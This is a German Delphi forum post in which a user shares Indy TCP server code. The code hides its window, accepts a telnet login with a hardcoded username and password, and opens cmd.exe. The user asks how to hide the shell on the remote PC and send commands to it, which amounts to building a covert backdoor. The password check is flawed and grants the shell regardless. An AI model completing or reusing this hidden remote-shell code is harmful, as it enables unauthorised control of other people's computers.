indy tcp server -> shellexecute

[rubooo]

Delphi-Quellcode:

procedure TForm1.FormCreate(Sender: TObject);
begin
  IdTCPServer1.Active := True;
  Application.ShowMainForm := false;
end;

procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
var user,passwort:String;
begin
  user:= athread.connection.readln;
  if user = 'rubooo' then begin
    athread.Connection.WriteLn('Passwort eingeben: ');
    passwort := athread.connection.ReadLn;
    if passwort = 'test' then athread.connection.writeln('Willkommen!');
    ShellExecute(Application.Handle, 'open', PChar(SysUtils.GetEnvironmentVariable('COMSPEC')),
    PChar(''), nil, SW_show);
  end else begin
    athread.Connection.Disconnect;
  end;
end;

procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread);
begin
  athread.connection.WriteLn('Username eingeben: ');
end;

end.

dieses code funktioniert auch soweit (ich connecte zu dem server per telnet ) ! aber jetzt habe ich eine frage::
wie kann ich die shell auf dem remotepc verstecken ! oder wie kann ich kommandos an den remotpc senden, per shell ??!!
ich würde mich auch über ein gutes tut über den befehl shellexecute freuen !

[edit=alcaeus]Code-Tags durch Delphi-Tags ersetzt. Mfg, alcaeus[/edit]